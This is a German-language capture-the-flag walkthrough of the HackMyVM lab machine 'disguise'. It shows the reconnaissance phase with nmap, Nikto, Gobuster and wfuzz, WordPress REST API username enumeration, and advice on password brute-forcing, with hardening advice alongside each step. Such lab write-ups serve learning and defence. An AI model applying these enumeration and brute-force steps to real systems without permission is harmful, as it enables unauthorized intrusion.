192.168.2.189
Analyse: Der Befehl `arp-scan -l` sendet ARP-Requests (Address Resolution Protocol) an alle Geräte im lokalen Netzwerk, um deren IP- und MAC-Adressen zu ermitteln. Die Option `-l` steht für `--localnet` und bewirkt, dass die Adressen aus der Konfiguration der Netzwerkschnittstellen ermittelt werden. Die Ausgabe wird dann durch `grep "PCS"` gefiltert, um Zeilen zu finden, die "PCS" enthalten (typischerweise Teil des Herstellernamens "PCS Systemtechnik GmbH", oft mit VirtualBox assoziiert). Schließlich extrahiert `awk '{print $1}'` die erste Spalte dieser gefilterten Zeilen, welche die IP-Adresse ist. In diesem Fall wurde die IP-Adresse 192.168.2.189 identifiziert.
Bewertung: Dieser Schritt ist ein grundlegender Teil der Reconnaissance-Phase in einem lokalen Netzwerk. Er ist effektiv, um schnell aktive Hosts zu identifizieren, insbesondere wenn ICMP-Pings (Ping-Scans) möglicherweise blockiert sind. Die Kombination mit `grep` und `awk` ist eine gängige Methode, um die Ausgabe auf die gewünschten Informationen zu reduzieren.
Empfehlung (Pentester): `arp-scan` ist ein exzellentes Tool für die anfängliche Host-Discovery im LAN. Für eine umfassendere Sichtweise könnten zusätzlich Tools wie `netdiscover` oder Nmap's Ping-Scan (`nmap -sn`) verwendet werden, falls ARP-Scans nicht die gewünschten Ergebnisse liefern oder um Ergebnisse zu verifizieren.
Empfehlung (Admin): Aus administrativer Sicht ist es wichtig, eine aktuelle Inventarliste aller Geräte im Netzwerk zu führen. Überwachungstools, die ungewöhnliche ARP-Aktivitäten (z.B. ARP-Spoofing) erkennen, können die Netzwerksicherheit erhöhen.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.59 ((Debian))
Analyse: Dieser Nmap-Befehl führt einen umfassenden Scan auf der zuvor identifizierten IP-Adresse 192.168.2.189 durch.
-sC
: Führt Standard-Nmap-Skripte aus (Script-Scan).-sS
: Führt einen TCP SYN-Scan (Stealth-Scan) durch, der oft weniger auffällig ist als ein voller TCP-Connect-Scan.-sV
: Versucht, die Versionen der laufenden Dienste zu ermitteln (Versionserkennung).-T5
: Setzt das Timing-Template auf "insane" für einen schnelleren Scan (kann auf instabilen Netzwerken oder bei Intrusion Detection Systems problematisch sein).-A
: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. Dies ist eine aggressive Option, die viele Informationen sammelt.-p-
: Scannt alle 65535 TCP-Ports.| grep open
: Filtert die Ausgabe, um nur Zeilen anzuzeigen, die "open" enthalten, also offene Ports.Bewertung: Der Nmap-Scan hat erfolgreich die offenen Ports und die darauf laufenden Dienste inklusive ihrer Versionen identifiziert. Dies sind die primären Angriffsvektoren für die weitere Untersuchung. Die Verwendung von `-T5` und `-A` beschleunigt den Prozess, kann aber auch dazu führen, dass der Scan von Sicherheitssystemen eher erkannt wird. Das Filtern mit `grep open` ist nützlich für eine schnelle Übersicht.
Empfehlung (Pentester): Die identifizierten Dienste (SSH und HTTP) sind die nächsten logischen Ziele für die Enumeration. Für HTTP sollte eine Web-Enumeration (Verzeichnisse, Dateien, Technologien) folgen. Für SSH könnten Benutzername-Enumeration und Passwort-Angriffe in Betracht gezogen werden, falls schwache Anmeldeinformationen vermutet werden.
Empfehlung (Admin): Stellen Sie sicher, dass alle laufenden Dienste auf dem neuesten Stand sind und keine bekannten Schwachstellen aufweisen. Beschränken Sie den Zugriff auf Dienste nur auf notwendige Quellen. Für SSH sollten starke Passwörter oder besser Key-basierte Authentifizierung verwendet werden. Webserver sollten gehärtet und regelmäßig auf Schwachstellen überprüft werden.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-02 17:07 CEST Nmap scan report for disguise (192.168.2.189) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0) | ssh-hostkey: | 2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA) | 256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA) |_ 256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519) 80/tcp open http Apache httpd 2.4.59 ((Debian)) |_http-generator: WordPress 6.7.2 |_http-title: Just a simple wordpress site |_http-server-header: Apache/2.4.59 (Debian) MAC Address: 08:00:27:4A:C4:30 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms disguise (192.168.2.189) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] . Nmap done: 1 IP address (1 host up) scanned in 11.08 seconds
Analyse: Dies ist die vollständige Ausgabe des vorherigen Nmap-Befehls (ohne `| grep open`). Sie liefert detailliertere Informationen:
Bewertung: Die vollständige Nmap-Ausgabe ist extrem wertvoll. Die Entdeckung von WordPress 6.7.2 ist ein wichtiger Anhaltspunkt, da WordPress-Installationen, Themes und Plugins häufig Schwachstellen aufweisen. Die genauen Versionen von OpenSSH und Apache sind nützlich für die Schwachstellenrecherche. Die OS-Informationen sind hilfreich, um später potenzielle Kernel-Exploits oder systemspezifische Angriffe zu berücksichtigen. Die Information, dass es sich um eine VirtualBox VM handelt, ist für den Kontext des Pentests (z.B. HackMyVM) relevant.
Empfehlung (Pentester): Der Fokus sollte nun stark auf die WordPress-Instanz gelegt werden. Tools wie `wpscan` sind unerlässlich, um Themes, Plugins, Benutzer und bekannte Schwachstellen zu enumerieren. Für Apache könnten spezifische Konfigurationsfehler oder Modulschwachstellen gesucht werden (z.B. mit Nikto). Für SSH bleibt die Möglichkeit von Brute-Force-Angriffen, falls Benutzernamen bekannt werden.
Empfehlung (Admin): WordPress und alle zugehörigen Themes/Plugins müssen dringend auf dem neuesten Stand gehalten werden. Nicht benötigte Themes/Plugins sollten deinstalliert werden. Starke, einzigartige Passwörter für alle WordPress-Benutzer sind ein Muss, ebenso wie für den SSH-Zugang. Regelmäßige Sicherheitsaudits der Webanwendung und des Servers sind empfohlen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.189 + Target Hostname: disgus.hmv + Target Port: 80 + Start Time: 2025-05-02 17:19:30 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.59 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: Drupal Link header found with value: <http://disguise.hmv/wp-json/>; rel="https://api.w.org/". See: [Link: https://www.drupal.org/ | Ziel: https://www.drupal.org/] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + /cRCVIosa.: Uncommon header 'x-redirect-by' found, with contents: WordPress. + No CGI Directories found (use '-C all' to force check all possible dirs) + /robots.txt: contains 2 entries which should be manually viewed. See: [Link: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt | Ziel: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt] + /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
Analyse: Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse prüft. Der Befehl `nikto -h http://disgus.hmv` scannt die Webseite unter der angegebenen Hostnamen (setzt voraus, dass `disgus.hmv` in der `/etc/hosts`-Datei des Angreifers auf die IP 192.168.2.189 verweist). Wichtige Funde:
Bewertung: Nikto liefert wertvolle Hinweise auf Sicherheits-Header, die fehlen, und bestätigt die Präsenz von WordPress. Der "Drupal Link header" ist ein kleiner Ausreißer, der aber wahrscheinlich auf die WordPress REST API (`wp-json`) zurückzuführen ist. Die Funde bezüglich der fehlenden HTTP-Security-Header sind typische "Low Hanging Fruits", die die allgemeine Sicherheit der Webanwendung verbessern könnten. Die Existenz von `robots.txt` ist ein Standardfund und erfordert eine manuelle Überprüfung.
Empfehlung (Pentester): Die `robots.txt` sollte als Nächstes manuell überprüft werden. Die WordPress REST API (`/wp-json/`) ist ein bekanntes Ziel für die Benutzer-Enumeration. Die gemeldeten fehlenden Security-Header sind zwar an sich keine direkten Einfallstore, sollten aber im Bericht erwähnt werden.
Empfehlung (Admin): Implementieren Sie die fehlenden HTTP-Security-Header: `X-Frame-Options: SAMEORIGIN` (oder `DENY`) und `X-Content-Type-Options: nosniff`. Überprüfen Sie die Notwendigkeit und Konfiguration des `x-redirect-by` Headers. Der Inhalt der `robots.txt` sollte darauf geprüft werden, ob er sensible Pfade preisgibt, die besser nicht öffentlich bekannt sein sollten.
http://disgus.hmv/robots.txt User-agent: * Disallow: /wp-admin/ Allow: /wp-admin/admin-ajax.php
Analyse: Dies ist der Inhalt der Datei `robots.txt`, die von Nikto gefunden wurde und hier manuell abgerufen wird.
Bewertung: Der Inhalt der `robots.txt` ist Standard für eine WordPress-Seite. Sie verbirgt den Admin-Bereich vor Suchmaschinen, was eine gute Praxis ist, aber keinen echten Schutz vor gezielten Angriffen darstellt, da der Pfad allgemein bekannt ist. Die explizite Erlaubnis für `admin-ajax.php` ist ebenfalls normal.
Empfehlung (Pentester): Obwohl `/wp-admin/` bekannt ist, bestätigt dies den Pfad zum Login-Bereich. `admin-ajax.php` kann manchmal für die Enumeration von Plugin-Aktionen oder für Schwachstellen in AJAX-Funktionen interessant sein.
Empfehlung (Admin): Die `robots.txt` ist korrekt konfiguriert. Zusätzliche Sicherheitsmaßnahmen für den `/wp-admin/`-Bereich (IP-Whitelisting, 2FA, HTTP-Auth) sind dennoch sinnvoll.
{ "id": 1, "name": "simpleAdmin", "url": "http://disguise.hmv", "description": "", "link": "http://disguise.hmv/author/simpleadmin/", "slug": "simpleadmin", "avatar_urls": { "24": "https://secure.gravatar.com/avatar/d3a57b149cd6e0e91d594f2e5c5492135cbfa87a952c49406829077629a5ba54?s=24&d=mm&r=g", "48": "https://secure.gravatar.com/avatar/d3a57b149cd6e0e91d594f2e5c5492135cbfa87a952c49406829077629a5ba54?s=48&d=mm&r=g", "96": "https://secure.gravatar.com/avatar/d3a57b149cd6e0e91d594f2e5c5492135cbfa87a952c49406829077629a5ba54?s=96&d=mm&r=g" }, "meta": [], "_links": { "self": [ { "href": "http://disguise.hmv/wp-json/wp/v2/users/1", "targetHints": { "allow": [ "GET" ] } } ], "collection": [ { "href": "http://disguise.hmv/wp-json/wp/v2/users" } ] } }
Analyse: Dieser `curl`-Befehl fragt Benutzerinformationen für die Benutzer-ID `1` über die WordPress REST API (`/wp-json/wp/v2/users/1`) ab. Die Option `-s` unterdrückt Fortschrittsinformationen und `jq` formatiert die JSON-Antwort. Die Antwort ist erfolgreich und enthüllt den Benutzernamen (`name` und `slug`) als **"simpleAdmin"**. Dies ist oft der Standard-Administratorbenutzer, der bei der WordPress-Installation erstellt wird.
Bewertung: Die Enumeration von Benutzernamen über die WordPress REST API ist eine bekannte und oft erfolgreiche Methode. Die Bestätigung des Benutzernamens "simpleAdmin" ist ein kritischer Informationsgewinn, da Benutzernamen die Hälfte der Anmeldeinformationen darstellen und für Brute-Force- oder Passwort-Spraying-Angriffe benötigt werden.
Empfehlung (Pentester): Der gefundene Benutzername "simpleAdmin" sollte für Passwortangriffe auf den WordPress-Login (`/wp-login.php`) und potenziell auch SSH verwendet werden, falls Benutzernamen systemweit wiederverwendet werden. Testen Sie weitere Benutzer-IDs (wie im nächsten Schritt), um zusätzliche Benutzer zu finden.
Empfehlung (Admin): Der Zugriff auf Benutzerinformationen über die REST API sollte eingeschränkt werden, wenn nicht unbedingt öffentlich benötigt. Plugins können hier helfen, die API-Endpunkte feingranular zu steuern oder ganz zu deaktivieren. Verwenden Sie keine leicht zu erratenden oder Standard-Benutzernamen wie "admin" oder Variationen davon. Für kritische Benutzerkonten sollte Zwei-Faktor-Authentifizierung (2FA) aktiviert werden.
{ "code": "rest_user_invalid_id", "message": "Invalid user ID.", "data": { "status": 404 } }
Analyse: Dieser `curl`-Befehl versucht, Informationen für die Benutzer-ID `2` über die WordPress REST API abzufragen. Die API antwortet mit einem Fehler `rest_user_invalid_id` und dem Statuscode 404. Dies bedeutet, dass kein Benutzer mit der ID `2` existiert oder der Zugriff darauf nicht erlaubt ist (wahrscheinlicher ist, dass der Benutzer nicht existiert).
Bewertung: Dieser Test zeigt, dass Benutzer-IDs nicht unbedingt sequentiell sind oder dass nach ID 1 keine weiteren Benutzer (zumindest nicht mit ID 2) öffentlich über die API enumerierbar sind. Dies schränkt die einfache Enumeration weiterer Benutzer über diesen spezifischen Weg ein.
Empfehlung (Pentester): Versuchen Sie andere Methoden zur Benutzerenumeration, z.B. über WPScan (`wpscan --enumerate u`), Login-Fehlermeldungen oder durch Analyse von Autoren-Archivseiten.
Empfehlung (Admin): Die Empfehlungen zur Absicherung der REST API bleiben gültig.
http://disguise.hmv/wp-login.php Error: The password you entered for the username simpleadmin is incorrect. Lost your password?
Analyse: Diese Ausgabe stammt vermutlich von einem manuellen Login-Versuch auf der WordPress-Anmeldeseite (`http://disguise.hmv/wp-login.php`) mit dem zuvor enumerierten Benutzernamen "simpleAdmin" und einem geratenen oder falschen Passwort.
Bewertung: Die Fehlermeldung "The password you entered for the username simpleadmin is incorrect" bestätigt erneut, dass der Benutzername "simpleadmin" auf dem System existiert. Dies ist eine weitere Verifizierung des Benutzernamens. WordPress gibt standardmäßig preis, ob der Benutzername oder das Passwort falsch ist, was Angreifern hilft, Benutzernamen zu validieren.
Empfehlung (Pentester): Da der Benutzername bestätigt ist, können nun gezielte Brute-Force- oder Passwort-Spraying-Angriffe mit Passwortlisten gegen "simpleadmin" gestartet werden. Tools wie `wpscan` oder `hydra` sind hierfür geeignet.
Empfehlung (Admin): Konfigurieren Sie WordPress so, dass es generische Fehlermeldungen ausgibt (z.B. "Ungültige Anmeldeinformationen"), die nicht preisgeben, ob der Benutzername oder das Passwort falsch war. Implementieren Sie Mechanismen zur Begrenzung von Anmeldeversuchen (Login Lockout), um Brute-Force-Angriffe zu erschweren. Verwenden Sie starke, einzigartige Passwörter und aktivieren Sie 2FA.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://disgus.hmv [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 503,404 [+] User Agent: gobuster/3.6 [+] Extensions: deb,bat,py,lib,dll,java,eps,kdbx,pem,zip,docx,raw,csh,diff,js.map,html,pdf,json,pl,jpg,icon,pub,accdb,exp,rpm,phtml,ELF,old,ps1,gz,bak,conf,c,desc,doc,sh,crt,config,asp,xml,cgi,csv,elf,rar,mdb,exe,rtf,xlsx,svg,tar,db,png,jpeg,mod,sql,aspx,ln,txt,php,xls [+] Expanded: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== http://disgus.hmv/index.php (Status: 301) [Size: 0] [--> http://disgus.hmv/] http://disgus.hmv/wp-content (Status: 301) [Size: 313] [--> http://disgus.hmv/wp-content/] http://disgus.hmv/.php (Status: 403) [Size: 275] http://disgus.hmv/.html (Status: 403) [Size: 275] http://disgus.hmv/.phtml (Status: 403) [Size: 275] http://disgus.hmv/rss (Status: 301) [Size: 0] [--> http://disgus.hmv/feed/] http://disgus.hmv/login (Status: 302) [Size: 0] [--> http://disguise.hmv/wp-login.php] http://disgus.hmv/login.php (Status: 302) [Size: 0] [--> http://disguise.hmv/wp-login.php] http://disgus.hmv/0 (Status: 301) [Size: 0] [--> http://disgus.hmv/0/] http://disgus.hmv/feed (Status: 301) [Size: 0] [--> http://disgus.hmv/feed/] http://disgus.hmv/atom (Status: 301) [Size: 0] [--> http://disgus.hmv/feed/atom/] http://disgus.hmv/wp-content (Status: 301) [Size: 313] [--> http://disgus.hmv/wp-content/] http://disgus.hmv/admin (Status: 302) [Size: 0] [--> http://disguise.hmv/wp-admin/] Progress: 27619 / 13456722 (0.21%)^C [!] Keyboard interrupt detected, terminating. Progress: 27619 / 13456722 (0.21%) =============================================================== Finished ===============================================================
Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf `http://disgus.hmv` zu bruteforcen. Eine mittelgroße Wortliste (`directory-list-2.3-medium.txt`) und eine sehr umfangreiche Liste von Dateierweiterungen (`-x ...`) werden genutzt. Der Scan wurde nach kurzer Zeit (0.21% Fortschritt) manuell mit `Strg+C` abgebrochen. Die gefundenen Einträge sind Standard-WordPress-Pfade oder Dateien, die entweder Weiterleitungen (301, 302) oder Zugriffsverweigerungen (403) zurückgeben.
Bewertung: Der Gobuster-Scan wurde zu früh abgebrochen, um umfassende Ergebnisse zu liefern. Die bisherigen Funde bestätigen lediglich die bekannte WordPress-Struktur. Die extrem lange Liste an Erweiterungen verlangsamt den Scan erheblich und ist möglicherweise nicht zielführend für eine typische WordPress-Seite.
Empfehlung (Pentester): Der Gobuster-Scan sollte idealerweise vollständig durchlaufen oder mit einer fokussierteren Wortliste und relevanteren Erweiterungen (z.B. nur `php,html,txt,bak,zip,js`) wiederholt werden, um die Effizienz zu steigern. Manchmal können auch kleinere, spezifischere Wortlisten (z.B. für WordPress-Plugins oder -Themes) nützlich sein. Es ist wichtig, die Balance zwischen Gründlichkeit und Zeitaufwand zu finden. Alternative Tools wie `feroxbuster` oder `dirsearch` könnten ebenfalls in Betracht gezogen werden.
Empfehlung (Admin): Webserver sollten so konfiguriert sein, dass sie keine unnötigen Informationen preisgeben (z.B. durch Server-Banner oder detaillierte Fehlerseiten). Verzeichnisauflistungen sollten deaktiviert sein. Eine Web Application Firewall (WAF) kann helfen, Brute-Force-Scans zu erkennen und zu blockieren.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://disguise.hmv/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 301 0 L 0 W 0 Ch "www" 000005051: 200 18 L 52 W 846 Ch "dark" Total time: 0 Processed Requests: 11833 Filtered Requests: 11829 Requests/sec.: 0
Analyse: Wfuzz wird hier für das Fuzzing von Subdomains (Virtual Hosts) verwendet, indem der `Host`-Header manipuliert wird.
-w ...subdomains...txt
: Verwendet eine Wortliste gängiger Subdomain-Namen.-H "Host: FUZZ.disguise.hmv"
: Ersetzt `FUZZ` durch Einträge aus der Wortliste.--hc "404"
: Versteckt 404-Fehler.--hh 78369
: Versteckt Antworten mit genau 78369 Zeichen (wahrscheinlich die Größe der Standard-"Nicht gefunden"-Seite).Bewertung: Die Entdeckung der Subdomain `dark.disguise.hmv` ist ein signifikanter Fortschritt. Oft hosten Subdomains unterschiedliche Anwendungen oder Konfigurationen. Die Filterung mit `--hh` war hier effektiv, um relevante Ergebnisse hervorzuheben.
Empfehlung (Pentester): Die neu entdeckte Subdomain `dark.disguise.hmv` muss nun als separates Ziel behandelt und einer vollständigen Enumeration unterzogen werden (Portscan, Verzeichnis-Brute-Force, Technologieerkennung etc.). Der Eintrag `dark.disguise.hmv` sollte zur lokalen `/etc/hosts`-Datei hinzugefügt werden, um auf die korrekte IP-Adresse des Ziels zu verweisen.
Empfehlung (Admin): Stellen Sie sicher, dass alle konfigurierten Virtual Hosts notwendig und ordnungsgemäß gesichert sind. Nicht verwendete oder veraltete VHosts sollten entfernt werden. Führen Sie regelmäßige Scans auf Subdomains durch, um den Überblick über die eigene Web-Infrastruktur zu behalten (Asset Management).
192.168.2.189 dark.disguise.hmv disguise.hmv
Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Texteditor `vi`. Der Inhalt zeigt, dass ein Eintrag hinzugefügt wurde, der die IP-Adresse `192.168.2.189` sowohl dem Hostnamen `dark.disguise.hmv` als auch `disguise.hmv` zuordnet.
Bewertung: Dies ist ein notwendiger Schritt, um sicherzustellen, dass der angreifende Rechner Anfragen an `dark.disguise.hmv` und `disguise.hmv` korrekt an die IP-Adresse des Zielsystems sendet, insbesondere wenn kein interner DNS-Server diese Namen auflöst. Ohne diesen Eintrag würden Anfragen an diese Hostnamen wahrscheinlich ins Leere laufen oder vom öffentlichen DNS aufgelöst werden.
Empfehlung (Pentester): Das Bearbeiten der `/etc/hosts`-Datei ist Standardpraxis bei der Arbeit mit nicht öffentlich auflösbaren Hostnamen im internen Netzwerk oder beim Testen von Virtual Hosts. Es ist wichtig, diese Einträge nach Abschluss des Tests wieder zu entfernen oder auszukommentieren, um zukünftige Namensauflösungsprobleme zu vermeiden.
Empfehlung (Admin): Für interne Dienste sollten idealerweise interne DNS-Server verwendet werden, um eine zentrale Verwaltung der Namensauflösung zu gewährleisten. Die manuelle Bearbeitung von Hosts-Dateien auf vielen Clients ist fehleranfällig und schlecht skalierbar.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://dark.disguise.hmv [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 503,404 [+] User Agent: gobuster/3.6 [+] Extensions: conf,lib,ln,jpg,sh,py,pdf,db,kdbx,config,diff,rar,bat,jpeg,phtml,pem,eps,js.map,aspx,exe,gz,cgi,php,pub,xls,icon,zip,sql,bak,c,java,csh,mod,txt,accdb,xlsx,mdb,doc,xml,csv,dll,html,json,deb,desc,raw,crt,exp,tar,old,pl,rpm,elf,ELF,ps1,asp,png,rtf,svg,docx [+] Expanded: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== http://dark.disguise.hmv/index.php (Status: 200) [Size: 873] http://dark.disguise.hmv/.html (Status: 403) [Size: 282] http://dark.disguise.hmv/.phtml (Status: 403) [Size: 282] http://dark.disguise.hmv/.php (Status: 403) [Size: 282] http://dark.disguise.hmv/images (Status: 301) [Size: 323] [--> http://dark.disguise.hmv/images/] http://dark.disguise.hmv/login.php (Status: 200) [Size: 1134] http://dark.disguise.hmv/register.php (Status: 200) [Size: 2103] http://dark.disguise.hmv/profile.php (Status: 302) [Size: 0] [--> login.php] http://dark.disguise.hmv/logout.php (Status: 302) [Size: 0] [--> login.php] http://dark.disguise.hmv/config.php (Status: 200) [Size: 0] http://dark.disguise.hmv/captcha.php (Status: 200) [Size: 357] http://dark.disguise.hmv/functions.php (Status: 200) [Size: 0] http://dark.disguise.hmv/manager (Status: 301) [Size: 324] [--> http://dark.disguise.hmv/manager/] http://dark.disguise.hmv/.phtml (Status: 403) [Size: 282] http://dark.disguise.hmv/.php (Status: 403) [Size: 282] http://dark.disguise.hmv/.html (Status: 403) [Size: 282]
Analyse: Ein weiterer Gobuster-Scan, diesmal gezielt auf die neu entdeckte Subdomain `http://dark.disguise.hmv`. Die Parameter sind identisch zum vorherigen Gobuster-Scan auf die Hauptdomain. Wichtige Funde auf `dark.disguise.hmv`:
index.php
(Status 200): Die Hauptseite.images/
(Status 301): Ein Verzeichnis, vermutlich für Bilder.login.php
(Status 200): Eine Login-Seite. Dies ist interessant, da es sich von der WordPress-Login-Seite unterscheidet.register.php
(Status 200): Eine Registrierungsseite.profile.php
(Status 302 -> `login.php`): Eine Profilseite, die auf `login.php` umleitet, wenn man nicht angemeldet ist.logout.php
(Status 302 -> `login.php`): Eine Logout-Funktion.config.php
(Status 200, Size 0): Eine Konfigurationsdatei. Eine Größe von 0 könnte bedeuten, dass sie leer ist, oder dass der Zugriff auf den Inhalt auf andere Weise beschränkt ist, aber die Datei existiert. Oft ein sehr interessantes Ziel!captcha.php
(Status 200): Eine Seite zur Captcha-Generierung/-Verarbeitung.functions.php
(Status 200, Size 0): Eine Datei für Funktionen, ähnlich wie `config.php` mit Size 0.manager/
(Status 301): Ein Verzeichnis namens "manager". Admin-Bereiche sind oft so benannt.Bewertung: Dieser Scan auf der Subdomain `dark.disguise.hmv` hat eine völlig andere Anwendungsstruktur als die WordPress-Seite auf der Hauptdomain aufgedeckt. Die Existenz von `login.php`, `register.php`, `config.php` (auch wenn Size 0) und einem `manager/`-Verzeichnis deutet auf eine benutzerdefinierte Anwendung oder ein anderes CMS/Framework hin. `config.php` und `functions.php` mit einer Größe von 0 sind verdächtig und könnten entweder leer sein oder der Zugriff auf ihren Inhalt wird blockiert, obwohl die Dateien existieren. Der `manager/`-Pfad ist ein primäres Ziel für weitere Untersuchungen.
Empfehlung (Pentester): Die Seite `dark.disguise.hmv` muss gründlich manuell untersucht werden: Registrierungsfunktion testen, Login-Seite auf Schwachstellen (SQLi, Username-Enumeration) prüfen. Das `manager/`-Verzeichnis ist besonders interessant und sollte ebenfalls mit Gobuster oder manuell weiter exploriert werden. Versuchen, den Inhalt von `config.php` und `functions.php` zu lesen (z.B. durch Local File Inclusion (LFI), falls eine solche Schwachstelle gefunden wird). Die Anwendung scheint PHP-basiert zu sein.
Empfehlung (Admin): Sichern Sie alle benutzerdefinierten Anwendungen sorgfältig. Führen Sie Code-Audits durch, um Schwachstellen wie SQL-Injection, XSS, LFI etc. zu identifizieren. Stellen Sie sicher, dass Konfigurationsdateien (`config.php`) keine sensiblen Informationen preisgeben und nicht direkt über den Webserver zugänglich sind (z.B. außerhalb des Web-Roots speichern oder den Zugriff per `.htaccess` blockieren). Deaktivieren Sie die Registrierungsfunktion, wenn sie nicht benötigt wird.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.189 + Target Hostname: dark.disguise.hmv + Target Port: 80 + Start Time: 2025-05-02 17:52:04 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.59 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + /: Cookie PHPSESSID created without the httponly flag. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies] + No CGI Directories found (use '-C all' to force check all possible dirs) + /database.tar.bz2: Drupal Link header found with value: <http://disguise.hmv/wp-json/>; rel="https://api.w.org/". See: [Link: https://www.drupal.org/ | Ziel: https://www.drupal.org/] + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /config.php: PHP Config file may contain database IDs and passwords. + http://127.0.0.1:2301/%20HTTP/1.0: Uncommon header 'x-redirect-by' found, with contents: WordPress. + /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/] + /login.php: Admin login page/section found. + 8046 requests: 0 error(s) and 9 item(s) reported on remote host + End Time: 2025-05-02 17:52:29 (GMT2) (25 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto-Scan auf die Subdomain `dark.disguise.hmv`. Wichtige Funde:
Bewertung: Nikto hat mehrere wichtige Punkte auf `dark.disguise.hmv` aufgedeckt. Der Hinweis auf `config.php` und das `PHPSESSID`-Cookie ohne `HttpOnly` sind relevant. Der Fund `/database.tar.bz2` ist alarmierend und muss sofort manuell überprüft werden. Wenn diese Datei existiert und herunterladbar ist, wäre das ein schwerwiegender Informationsleck. Der wiederholte "Drupal Link header" und "x-redirect-by: WordPress" Header auf einer scheinbar Nicht-WordPress-Seite sind merkwürdig und könnten auf eine komplexe oder fehlerhafte Serverkonfiguration hinweisen.
Empfehlung (Pentester): **Unbedingt manuell prüfen, ob `http://dark.disguise.hmv/database.tar.bz2` existiert und herunterladbar ist!** Den Inhalt von `config.php` untersuchen (wie zuvor erwähnt). Die Verwundbarkeit durch das fehlende `HttpOnly`-Flag für Session-Cookies in Verbindung mit potenziellen XSS-Schwachstellen ausnutzen. Die Datei `/icons/README` auf interessante Informationen prüfen.
Empfehlung (Admin): **Sofort prüfen, ob eine Datei `database.tar.bz2` öffentlich zugänglich ist und diese ggf. entfernen und sicherstellen, dass keine Datenbanksicherungen im Web-Root liegen!** Das `HttpOnly`-Flag für alle Session-Cookies setzen. Fehlende Security-Header (X-Frame-Options, X-Content-Type-Options) implementieren. Den Zugriff auf `/icons/README` und andere Standard-Apache-Dateien einschränken.
---------------------------------------------------- Webenum: ----------------------------------------------------------------------- view-source:http://dark.disguise.hmv/index.php href="login.php" 登录 | a href="register.php" 注册 <h3>dark mouse</h3> <img src="image_handler.php?id=7"> A great mouse price = ¥50.00 <h3>dark clothes</h3> <img src="image_handler.php?id=8"> very dark clothes price = ¥200.00 <h3>dark soul</h3> <img src="image_handler.php?id=9"> a great game price = ¥300.00
Analyse: Dies ist ein Auszug aus dem Quelltext der Seite `http://dark.disguise.hmv/index.php`. Auffällig sind die Bild-Tags (`<img src="...">`). Die Bilder werden nicht direkt verlinkt, sondern über ein PHP-Skript `image_handler.php` geladen, dem eine `id` als GET-Parameter übergeben wird (z.B. `image_handler.php?id=7`).
